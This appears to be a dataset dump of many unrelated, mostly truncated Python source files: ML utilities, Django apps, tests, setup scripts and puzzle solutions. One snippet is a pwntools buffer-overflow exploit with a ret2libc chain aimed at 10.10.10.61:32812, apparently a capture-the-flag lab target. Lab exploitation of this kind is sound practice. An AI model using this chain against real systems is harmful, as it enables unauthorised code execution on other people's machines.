content
stringlengths
5
1.05M
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. # # Ravi Krishna 07/25/21 # LR step function based heavily on existing # PyTorch implementations of LR schedulers, # a...
#!/usr/bin/env python # -*- coding: utf-8 -*- ################################################################### # Author: Mu yanru # Date : 2019.3 # Email : muyanru345@163.com ################################################################### """A Navigation menu""" # Import future modules from __future__ import a...
# coding: utf-8 import glob import numpy as np preds = [np.loadtxt(name) for name in glob.glob('*.pred')] np.testing.assert_array_almost_equal(preds[0], preds[1], decimal=5)
import numpy as np from pyDOE import lhs #from simulation1Day import simulation, hypoGlicemia, hyperGlicemia, pidC1 from scipy.integrate import odeint import matplotlib.pyplot as plt # to use java in python you need to specify the path where is Java import os os.environ['JAVA_HOME'] = "/Library/Java/JavaVirtualMach...
# pylint: disable=line-too-long import json from lark.exceptions import VisitError from pydantic import ValidationError from fastapi import FastAPI from fastapi.exceptions import RequestValidationError, StarletteHTTPException from fastapi.middleware.cors import CORSMiddleware from optimade import __api_version__, __...
from pandac.PandaModules import * from toontown.toonbase.ToontownGlobals import * from direct.interval.IntervalGlobal import * from direct.fsm import ClassicFSM, State from toontown.safezone import SafeZoneLoader import random from toontown.launcher import DownloadForceAcknowledge import House import Estate import Hous...
from subprocess import PIPE, Popen def cmdline(command): process = Popen( args=command, stdout=PIPE, shell=True ) return process.communicate()[0] def subset(mydict, func): return dict((key, mydict[key]) for key in mydict if func(mydict[key]))
""" Dependencies - User - Threat """ from .user import is_user_admin, get_current_user __all__ = [ "is_user_admin", "get_current_user" ]
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from setuptools import setup, find_packages import os import re APP = 'pypolona' CLI = 'ppolona' readme_file = os.path.join(os.path.dirname( os.path.abspath(__file__)), 'README.md') with open(readme_file) as f: readme = f.read() def get_version(*args): ver...
from expdir_monitor.expdir_monitor import ExpdirMonitor import argparse """ Given a expdir, run the exp """ parser = argparse.ArgumentParser() parser.add_argument( '--test', action='store_true', help='Test model for required dataset if pretrained model exists.' ) parser.add_argument( '--valid', action='store_true'...
import typing def get_mx( bit: typing.List[int], i: int, ) -> int: mx = -(1 << 50) while i > 0: mx = max(mx, bit[i]) i -= i & -i return mx def set_val( bit: typing.List[int], i: int, x: int, ) -> typing.NoReturn: while i < len(bit): bit[i] = max(bit[i], x) i += i & -i def solve...
#!usr/bin/env # -*-encoding:utf-8-*- # 求解问题: # 问题说明: 接收来自客户端的2类消息:第一次自报家门消息,其后任何广播的消息(发到公共聊天室) # 异常: # 编写PDL: # 抽象PDL: 判断消息类型。 自报家门-->新建定向子进程,然后定向子进程负责后续通信;广播-->传递数据到广播进程。 # 具体PDL: # 数据规范: # 客户端上报且经过server父进程去重后的username将作为server识别客户端的标识,以及视图层展示时区分用户的标识。username的命名 # ...
# -*- coding: utf-8 -*- from fnmatch import fnmatch import os import requests import shutil import sublime import threading import time from .libs import path, settings from .libs.logger import logger from queue import Queue def get_content(file): if not path.exists(file): return '' try: wi...
import requests as req import json from . import classes from .. import utils import subprocess import time import os def newWalletFromViewKey(address, view_key, wallet_dir, wallet_file, wallet_pass): ''' newWalletFromViewKey(address, view_key, wallet_file, wallet_pass) :: initialize a new wallet using si...
#!/usr/bin/env python # -*- coding: utf-8 -*- import numpy as np import glob import random for age in range(16, 55): # 野球選手 # ロードするパス load_path = './data/baseball_player_list_age' + str(age) + '.txt' # 保存するパス save_path = './data/baseball_image_path_list_age' + str(age) + '.txt' person_path...
import pytest import warnings import offlinetb def test_capture_warnings(recwarn): warnings.simplefilter('always') try: f() except CustomException: tb = offlinetb.distill(var_depth=4) [v] = [v for v in tb['traceback'][-1]['vars'] if v['name'] == 's'] assert v['vars'][0]['value'] ...
#!/usr/bin/env python """ A module that uses an `eta.core.learning.VideoFramesClassifier` to classify the frames of a video using a sliding window strategy. Info: type: eta.core.types.Module version: 0.1.0 Copyright 2017-2022, Voxel51, Inc. voxel51.com """ # pragma pylint: disable=redefined-builtin # pragma p...
########################################################################## # # Copyright (c) 2014, Image Engine Design Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistrib...
# Copyright © 2022 Province of British Columbia # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agr...
import tensorflow as tf from tensorflow import keras import face_recognition as fr from django.contrib.staticfiles import finders from django.conf import settings import numpy as np model_path = finders.find('files/model.h5') model = tf.keras.models.load_model(model_path) model.summary() def predict(image_path): ...
from vms.models import Image for img in Image.objects.filter(access=Image.INTERNAL): img.access = Image.PRIVATE img.save() print('Updated image: %s' % img)
#!/usr/bin/env python2 # # Copyright 2017 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requir...
import unittest from remove_duplicates_sorted_array import remove_duplicates class Test(unittest.TestCase): nums = [1, 1, 2] nums_2 = [0,0,1,1,1,2,2,3,3,4] def test_removes_duplicates_1(self): actual = remove_duplicates(self.nums) expected = 2 self.assertEqual(actual, expected) def test_rem...
""" This script is for dev/admin to migrate quicksight assets accross accounts or regions Author: Ying Wang Email: wangzyn@amazon.com or ywangufl@gmail.com Version: Nov-20-2021 Note: configuration are in ./config folder library are in ./library folder imported functions are in ./src folder migration fol...
import datetime import grequests import requests import json import logging from django.core.urlresolvers import reverse from django.core.exceptions import PermissionDenied from django.core.exceptions import ValidationError from django.http import HttpResponseRedirect from django.http import HttpResponseBadRequest fr...
# Authors: Alexandre Gramfort <alexandre.gramfort@telecom-paristech.fr> # Matti Hamalainen <msh@nmr.mgh.harvard.edu> # Martin Luessi <mluessi@nmr.mgh.harvard.edu> # # License: BSD (3-clause) from ..externals.six import string_types import os from ..bem import fit_sphere_to_headshape from ..io impor...
''' Created on 25 Dec 2016 @author: dusted-ipro ''' import numpy as np import collections from environment.sensing import closestStar, closestStarSubSet from environment import world class baseClan(object): ''' Base Clan Class ''' def __init__(self, starIdx, coords, planetIdx, clanId, energyConsume...
# Copyright (c) 2009 The Chromium Embedded Framework Authors. All rights # reserved. Use of this source code is governed by a BSD-style license that # can be found in the LICENSE file. from __future__ import absolute_import import pickle from optparse import OptionParser import os import sys from file_util import * fr...
#!/usr/bin/python import urllib2 import os import sys import time from bs4 import BeautifulSoup os.chdir('/home/yiwen/stockStrategies/addition') def getRawContent(code,s=0): t=60 while True: try: response=urllib2.urlopen('http://stockpage.10jqka.com.cn/%s/bonus/#additionprofile'%(code.strip()[2:])) content=...
# # Copyright (c) 2013-present, Anoop Kunchukuttan # All rights reserved. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. # import pandas as pd import numpy as np import os from indicnlp import common from indicnlp.common import Ind...
import endpoints import logging import uuid import urllib import json from httplib2 import Http from google.appengine.api import urlfetch from google.appengine.ext import ndb from protorpc import remote from protorpc import message_types from google.appengine.datastore.datastore_query import Cursor from oauth2client.co...
import re def sanitize(text, patterns_replacements): """Arg patterns_replacements is a list of tuples (regex pattern, string to replace the match with)""" try: text = text.strip() for rep in patterns_replacements: text = re.sub(rep[0], rep[1], text) return ' '.join(text.spl...
import pytest def test_get_blocks_nonexistent(parser): result = parser.get_blocks(dict()) assert result == False def test_get_blocks_empty(parser, empty_sb3): result = parser.get_blocks(empty_sb3) assert type(result) == dict assert len(result) == 0 assert result == {} def test_get_blocks_full...
import unittest import arff try: from StringIO import StringIO except ImportError: from io import StringIO OBJ = { 'description': '\nXOR Dataset\n\n\n', 'relation': 'XOR', 'attributes': [ ('input1', 'REAL'), ('input2', 'REAL'), ('y', 'REAL'), ], 'data': [ [0....
#!/usr/bin/env python2 # -*- coding: utf-8 -*- """ @author: avaldes """ from __future__ import division, print_function import numpy as np import matplotlib.pyplot as plt from mlp import MLP nb_black = 50 nb_red = 50 nb_green = 50 nb_data = nb_black + nb_red + nb_green s = np.linspace(0, 2*np.pi, nb_black) x_bla...
from collections import deque import gym import numpy as np from gym import spaces from PIL import Image class NoopResetEnv(gym.Wrapper): def __init__(self, env, noop_max=30): """Sample initial states by taking random number of no-ops on reset. No-op is assumed to be action 0. """ ...
#!/usr/bin/env python import sys from setuptools import setup, find_packages, Extension from distutils import ccompiler VERSION = (0, 0, 1) VERSION_STR = ".".join([str(x) for x in VERSION]) EXTRA_OPT = 0 if "--extra-optimization" in sys.argv: # Support legacy output format functions EXTRA_OPT = 1 sys.a...
import Animal, Dog, Cat if __name__ == '__main__': print "Hello World!" dogName = raw_input("\nWhat is your dog's name?" ) if dogName: Fido = Dog.Dog(dogName) Fido.getSound() Fluffy = Cat.Cat("Fluffy") Fluffy.getSound()
from django.db import models from django.contrib.auth import get_user_model User = get_user_model() class Post(models.Model): title = models.CharField(max_length=100, default='default title') slug = models.TextField(default='emptyslug', unique=True) text = models.TextField() pub_date = models.DateTim...
# Copyright 2019–2020 CEA # # Author: Yann Leprince <yann.leprince@cea.fr> # # Licensed under the Apache Licence, Version 2.0 (the "Licence"); # you may not use this file except in compliance with the Licence. # You may obtain a copy of the Licence at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requir...
from random import shuffle class CSP: def __init__(self, variables, domains, neighbours, constraints): self.variables = variables self.domains = domains self.neighbours = neighbours self.constraints = constraints def backtracking_search(self): return self.recursive_ba...
import re from unittest import TestCase import mock from pandas import DataFrame from shift_detector.checks.dq_metrics_check import DQMetricsCheck from shift_detector.precalculations.store import Store class TestDQMetricsCheck(TestCase): def setUp(self): sales1 = {'shift': ['A'] * 100, 'no_shift': ['C'...
from typing import Union, List, Any, Optional, Tuple import numpy as np from dataclasses import dataclass @dataclass class GPVExample: """Data representation that can be passed to GPV `collate` functions This representation puts the "raw" input examples for various tasks into a universal format so examples f...
import os import cv2 import numpy as np import pandas as pd from PIL import Image from sklearn.decomposition import PCA from sklearn.tree import DecisionTreeRegressor from randomforest import Forest def impute_NaNs(dataframe): for key in dataframe: if key != 'Image': dataframe[key].fillna(dataframe[key].mean(),...
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import print_function import sys import os import paramiko class sshcmd(): def __init__(self, server, username, password, port=22, hostkey_file="~/.ssh/known_hosts", mode="pwd", pkey_file="~/.ssh/id_rsa", debug=False)...
from typing import List # # @lc app=leetcode id=682 lang=python3 # # [682] Baseball Game # # @lc code=start class Solution: def calPoints(self, ops: List[str]) -> int: result: List[int] = [] for s in ops: if s == "C": result.pop() elif s == "+": ...
from ebl.corpus.domain.chapter import make_title from ebl.transliteration.domain.markup import StringPart from ebl.transliteration.domain.translation_line import TranslationLine TRANSLATION = ( TranslationLine([StringPart("not the title")], "de"), TranslationLine([StringPart("the title,")], "en"), ) def test...
""" @author: TD gang Set of class that override basic class like dict to add specific behaviour """ from __future__ import annotations import copy from typing import TYPE_CHECKING, Any # Forward references if TYPE_CHECKING: from silex_client.action.action_query import ActionQuery class ReadOnlyError(Exception...
#!/usr/bin/env python3 # # Copyright (C) 2016 Dmitry Marakasov <amdmi3@amdmi3.ru> # # This file is part of repology # # repology is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License,...
from __future__ import division from __future__ import unicode_literals from __future__ import print_function from __future__ import absolute_import import logging import os import re from typing import Any, Dict, List, Optional, Text from rasa_nlu_gao import utils from rasa_nlu_gao.featurizers import Featurizer from...
import warnings warnings.simplefilter(action="ignore", category=RuntimeWarning) warnings.simplefilter(action="ignore", category=PendingDeprecationWarning) import pytest import os from tempfile import NamedTemporaryFile, mkdtemp from matplotlib.testing.compare import compare_images from schicexplorer import scHicCluste...
#-*- coding: utf-8 -*- from django.core.urlresolvers import reverse from django.http import HttpResponse,HttpResponseRedirect from django.shortcuts import render_to_response,RequestContext from django.contrib.auth.decorators import login_required from accounts.views.permission import PermissionVerify from UserManage....
#!/usr/bin/env python import sys import argparse import torch import torch.nn as nn import torch.backends.cudnn as cudnn from torch.autograd import Variable import torchvision.transforms as tfs from torchvision.datasets import ImageFolder, CIFAR10 from torch.utils.data import DataLoader from miscs.pgd import attack_lab...
""" zoom.models common models """ import logging import zoom from zoom.helpers import link_to, url_for_item, url_for from zoom.utils import Record from zoom.records import RecordStore from zoom.users import Users from zoom.audit import audit class Model(zoom.utils.DefaultRecord): """Model Superclass ...
import json import copy import pyminizip import uuid from collections import OrderedDict import yaml from django.conf import settings from django.core.files.storage import default_storage from django.http import HttpResponse from django.views import generic import logging from django.utils.translation import gettext ...
from django.contrib import admin from .models import Producto from clases_abstracta.admin import AbstractaAdmin from import_export import resources class ProductoResource(resources.ModelResource): class Meta: model = Producto class ProductoAdmin(AbstractaAdmin): search_fields = ('nombre', 'marca', 'id...
import statsmodels.api as sm import numpy class SARIMAX(object): def __init__(self, order=(0,0,2), season=(1,1,2,24), look_back=72): self.__order = order self.__season = season self.__look_back = look_back def __create_sarimax_dataset(self, dataset): x = [] for i in r...
from __future__ import print_function from __future__ import absolute_import, division import random, re, datetime, time,pprint,sys,math from contextlib import contextmanager from base import * @setting ######################################### def LIB(): return o( seed = 1, has = o(decs = 3, skip="_",...
import pycurl try: from urllib.parse import urlencode except: from urllib import urlencode try: from BytesIO import BytesIO except ImportError: from io import BytesIO import json from gensim.utils import simple_preprocess from gensim.parsing.preprocessing import STOPWORDS from gensim import corpora, mod...
""" Unit tests for `calculator` module. """ import pytest from homework_1.sample_project.calculator.calc import check_power_of_2 @pytest.mark.parametrize( ["value", "expected_result"], [ pytest.param( -1, False, id="False case: -1 is not a power of 2.", ),...
import asyncio from motor.motor_asyncio import AsyncIOMotorClient from common.config import config motor = AsyncIOMotorClient( "mongodb://{username}:{password}@{host}:{port}/{database}".format( **config["database"] ) ) db = motor[config["database"]["database"]] async def setup_collections(): aw...
"""Compare results with those from SLALIB. Use this interactvely in iPython. Then copy files to pytpm/tests/data so that automated tests can be performed. """ import math from pyslalib import slalib from read_data import get_ndwfs tab = get_ndwfs() # sla_fk54z. # Convert FK5 J2000 coordinates, with zero-proper motio...
from __future__ import annotations import os from phue import Bridge, PhueRegistrationException from .controller import LightController, LightInfo NAME = "hue" class HueLightController(LightController): def __init__(self, bridge_ip: str): self.bridge = self.initialize_hue_bridge(bridge_ip) def cha...
from rest_framework import permissions from guardian.shortcuts import get_user_perms ### Project Spendings permissions class hasAddProjectBudgetSpendingsPermission(permissions.BasePermission): def has_object_permission(self, request, view, obj): permissions = get_user_perms(request.user, obj) ret...
from distutils.core import setup import py2exe setup(console=['dialer.py']) """ may need to download VC redistrutable https://www.microsoft.com/en-us/download/details.aspx?id=29 tutorial: http://www.py2exe.org/index.cgi/Tutorial """
""" With a given data_sets.ini configuration listing the name of a dataset by HighVoltage-LowVoltage, creates the expected dataset to be run upon by main.py Data is collected from a local "Spice Simulation" directory relative to the python script and produced in a Simulation_Sets folder to be run upon. """ import os i...
#!/usr/bin/python """ (C) Copyright 2018-2021 Intel Corporation. SPDX-License-Identifier: BSD-2-Clause-Patent """ import re import traceback from daos_utils_base import DaosCommandBase class DaosCommand(DaosCommandBase): # pylint: disable=too-many-ancestors,too-many-public-methods """Defines a object re...
import random import discord from discord.ext import commands from cogs.utils.tools import resolve_emoji class Action: def __init__(self, bot): self.bot = bot @commands.command(usage="<members>") @commands.bot_has_permissions(attach_files=True) async def cuddle(self, ctx): """For whe...
"""Contains transformer configuration information """ # The version number of the transformer TRANSFORMER_VERSION = '3.0' # The transformer description TRANSFORMER_DESCRIPTION = 'Hyperspectral to netCDF' # Short name of the transformer TRANSFORMER_NAME = 'terra.hyperspectral.raw2nc' # The sensor associated with the...
# -*- coding: utf-8 -*- """Interfaces to all of the People objects offered by the Trakt.tv API""" from trakt.core import get from trakt.sync import search from trakt.utils import extract_ids, slugify __author__ = 'Jon Nappi' __all__ = ['Person', 'ActingCredit', 'CrewCredit', 'Credits', 'MovieCredits', 'TVCr...
import math def main(): """ This main function will get a height from the user input and draw a christmas tree with * , `\\` and `/` :return: This function returns a christmas tree drawn """ height = int(input("Please Enter a height: ")) if(height % 2 == 0): print("Your input shoul...
# coding: utf-8 from pwn import * # uname -a context(os="Linux", arch="x86_64") HOST, PORT= "10.10.10.61", 32812 r = remote(HOST, PORT) # Padding out the buffer with NOPs ESP_START = 0xffffcff8 EIP = 0xffffd0cc PAD = "\x90" * (EIP - ESP_START) SYSTEM = 0xf7e4c060 EXIT = 0xf7e3faf0 SH = 0xf7e1f65e RET = p32(SYSTEM) R...
import PyPDF2 import os #https://realpython.com/pdf-python/ def extract_information(pdf_path: str): if not os.path.exists(pdf_path): raise Exception(f"{pdf_path} doesn't exist") with open(pdf_path , 'rb') as pdf_file: pdf = PyPDF2.PdfFileReader(pdf_file) information = pdf.getDocumentIn...
import g2p.mappings.langs as g2p_langs from networkx import has_path def getLangs(): # LANGS_AVAILABLE in g2p lists langs inferred by the directory structure of # g2p/mappings/langs, but in ReadAlongs, we need all input languages to any mappings. # E.g., for Michif, we need to allow crg-dv and crg-tmd, bu...
import glob, os from setuptools import setup, find_packages setup( name = 'metapub', version = '0.4.3.5', description = 'Pubmed / NCBI / eutils interaction library, handling the metadata of pubmed papers.', url = 'https://bitbucket.org/metapub/metapub', author = 'Naomi Most', maintainer = 'Nao...
#!/usr/bin/env python3 #/home/mat/anaconda3/envs/qiime2-2019.10/bin python3 #/home/mat/anaconda3/envs/qiime2-2019.10/bin Python3 """ Foundation of a visualization pipeline using Qiime2 artifact API and Holoviz tools for interactive data comparison """ # Built-in/Generic Imports import os import sys import argparse #...
import requests from tqdm import tqdm ## full url for downloading. url = 'https://tenet.dl.sourceforge.net/project/keepass/KeePass%202.x/2.46/KeePass-2.46-Setup.exe' def download(url, filename): response = requests.get(url, stream=True) with tqdm.wrapattr(open(filename, "wb"), "write", miniters=...
import ref import cv2 import torch import numpy as np from utils.img import Crop, DrawGaussian, Transform3D c = np.ones(2) * ref.h36mImgSize / 2 s = ref.h36mImgSize * 1.0 img = cv2.imread('../data/h36m/s_01_act_02_subact_01_ca_03/s_01_act_02_subact_01_ca_03_000111.jpg') img = Crop(img, c, s, 0, ref.inputRes) / 256....
import matplotlib.pyplot as plt import matplotlib.pylab as pylab #import requests from io import BytesIO from PIL import Image from maskrcnn_benchmark.config import cfg from predictor import COCODemo import numpy as np from coco import COCO import os import cv2 import json def load(url): """ Given an url of an...
import gettext import provision.maas from guacamole import Command _ = gettext.gettext class Launcher(Command): name = 'launcher' def __init__(self): self.launcher = None self.provision = None super().__init__() def register_arguments(self, parser): parser.add_argument...
########################################################################## # # Copyright (c) 2011, John Haddon. All rights reserved. # Copyright (c) 2011-2013, Image Engine Design Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided ...
import os import torch import cv2 import numpy as np import matplotlib.cm as cm from src.utils.plotting import make_matching_figure from src.loftr import LoFTR, default_cfg # The default config uses dual-softmax. # The outdoor and indoor models share the same config. # You can change the default values like thr and c...
from django.shortcuts import render def index(request): return render(request, 'pages/index.html') def yandex(request): return render(request, 'pages/yandex_c44e9dee4b34e712.html')
# -*- coding: utf-8 -*- # # Copyright (C) 2019 Chris Caron <lead2gold@gmail.com> # All rights reserved. # # This code is licensed under the MIT License. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files(the "Software"), to deal # in th...
import logging import random import shutil import time import requests logger = logging.getLogger(__name__) RANDOM_WAITING_TIME = 5000 def get(url, params): """ send get request :param url: destination url :param params: parameters to send :return: response as json data """ try: ...
import bottle from wsgi_lineprof.middleware import LineProfilerMiddleware app = bottle.app() @app.route("/hello/<name>") def index(name): return bottle.template("<b>Hello {{name}}</b>!", name=name) app = LineProfilerMiddleware(app) if __name__ == "__main__": bottle.run(host="localhost", port=8080, app=a...
test=[1,456,7,6,55,9] min=test[0] for i in test: if i<min: min=i print('最小数为:',min)
''' Created on 13.06.2016 @author: Fabian Reiber @version: 1.0 The MTASendThread will send the prepared re-encrypted mails to the recipient. If the origin mail was not a re-encrypted mail, the thread needs to prepare the specific mail. It could be the correct mail or a failure mail with the specific failure status. If...
''' ## Questions ### 189. [Rotate Array](https://leetcode.com/problems/rotate-array/) Given an array, rotate the array to the right by k steps, where k is non-negative. Example 1: Input: [1,2,3,4,5,6,7] and k = 3 Output: [5,6,7,1,2,3,4] Explanation: rotate 1 steps to the right: [7,1,2,3,4,5,6] rotate 2 steps to th...
# encoding: utf-8 """Gevent-based WSGI server adapter.""" # ## Imports from __future__ import unicode_literals, print_function from gevent.pywsgi import WSGIServer # ## Server Adapter def serve(application, host='127.0.0.1', port=8080): """Gevent-based WSGI-HTTP server.""" # Instantiate the server with a hos...
#!/usr/bin/env python """ tools and basic classes """ import os # import random # from abc import ABC from html.parser import HTMLParser from urllib.parse import urlparse, parse_qs # from html.entities import name2codepoint import requests # import time import sys USER_AGENT = ( 'Mozilla/5.0 (Linux; ...
ctx.addClock ("clk", 12) #ctx.addClock ("clk20", 19.875) ctx.addClock ("clk33", 33)
from django.conf.urls import url from wagtailvideos.views import chooser, multiple, videos app_name = 'wagtailvideos' urlpatterns = [ url(r'^$', videos.index, name='index'), url(r'^(\d+)/$', videos.edit, name='edit'), url(r'^(\d+)/delete/$', videos.delete, name='delete'), url(r'^(\d+)/create_transcode...
#!/usr/bin/env python # -*- coding: utf-8 -*- """ @author: Florian Timm @version: 2017.12.12 """ import os import signal import socket from datetime import datetime from multiprocessing import Process from vdInterface import VdInterface class VdBuffer(Process): """ process for buffering binary data """ d...
""" Support for Tellstick sensors. For more details about this platform, please refer to the documentation at https://home-assistant.io/components/sensor.tellstick/ """ import logging from collections import namedtuple import homeassistant.util as util from homeassistant.const import TEMP_CELSIUS from homeassistant.h...
# -*- coding: utf-8 -*- # To the extent possible under law, the author of this work, Konstantinos # Koukopoulos, has waived all copyright and related or neighboring rights to # "Python codec for Wobbly Transformation Format - 8-bit (WTF-8)". It is # dedicated to the public domain, as described in: # http://creative...
class PointCloud: def __init__(self, ptsDir, camera=0): self.ptsDir = ptsDir self.camera = camera self.w = 1408 self.h = 376 def loadPointCloud(self, frame): labelDir = '%s/annotation_%010d_%d_m.dat' % (self.ptsDir, frame, self.camera) print 'Processing %010d' %(f) if no...
""" Escribir un programa que pregunte al usuario los números ganadores de la lotería primitiva, los almacene en una lista y los muestre por pantalla ordenados de menor a mayor. """ num = [] x = int(input("Cuantos numero registrara? ")) while x != 0: numero = int(input("Numero loteria: ")) num.append(numero)...
#!/usr/bin/env python """Unit tests for M2Crypto.BIO.MemoryBuffer. Copyright (c) 2000 Ng Pheng Siong. All rights reserved.""" import os import multiprocessing from M2Crypto.BIO import MemoryBuffer from tests import unittest class TimeLimitExpired(Exception): pass def time_limit(timeout, func, exc_msg, *args...
from pydantic import BaseModel class A(BaseModel): cde: str xyz: str class B(A): cde: int xyz: str A(cde='abc', xyz='123') B(cde='abc', xyz='123')